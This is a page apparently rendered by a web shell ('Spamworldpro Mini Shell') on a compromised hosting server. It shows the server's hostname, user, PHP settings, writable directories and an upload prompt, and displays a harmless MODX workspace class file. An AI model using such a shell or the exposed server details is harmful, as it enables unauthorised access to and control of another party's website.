Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux indy02.toastserver.com 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : palandch ( 1163)
PHP Version : 7.1.33
Disable Function : NONE
Directory :  /home/palandch/www/core/model/modx/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/palandch/www/core/model/modx/modworkspace.class.php
<?php
/**
 * @package modx
 */
/**
 * Workspaces are isolated packaging environments. They are currently not used in MODX.
 *
 * @property string $name The name of the Workspace
 * @property string $path The absolute path of the Workspace
 * @property timestamp $created The time this Workspace was created on
 * @property boolean $active Whether or not this Workspace is active
 * @property array $attributes An array of attributes for this Workspace
 *
 * @package modx
 */
class modWorkspace extends xPDOSimpleObject {

    /**
     * Overrides xPDOObject::save to set the createdon date.
     *
     * {@inheritdoc}
     */
    public function save($cacheFlag= null) {
        if ($this->_new && !$this->get('created')) {
            $this->set('created', strftime('%Y-%m-%d %H:%M:%S'));
        }
        $saved= parent :: save($cacheFlag);
        return $saved;
    }

    /**
     * Overrides xPDOObject::get() to replace path settings.
     *
     * {@inheritdoc}
     */
    public function get($k, $format = null, $formatTemplate= null) {
        $result= parent :: get($k, $format, $formatTemplate);
        if ($k === 'path' && strpos($result, '{') !== false) {
            $replacements = array();
            foreach ($this->xpdo->config as $key => $value) {
                $_pos = strrpos($key, '_');
                if ($_pos > 0 && (substr($key, $_pos + 1) === 'path')) {
                    $replacements['{' . $key . '}'] = $value;
                }
            }
            $result = str_replace(array_keys($replacements), array_values($replacements), $result);
        }
        return $result;
    }
}

Spamworldpro Mini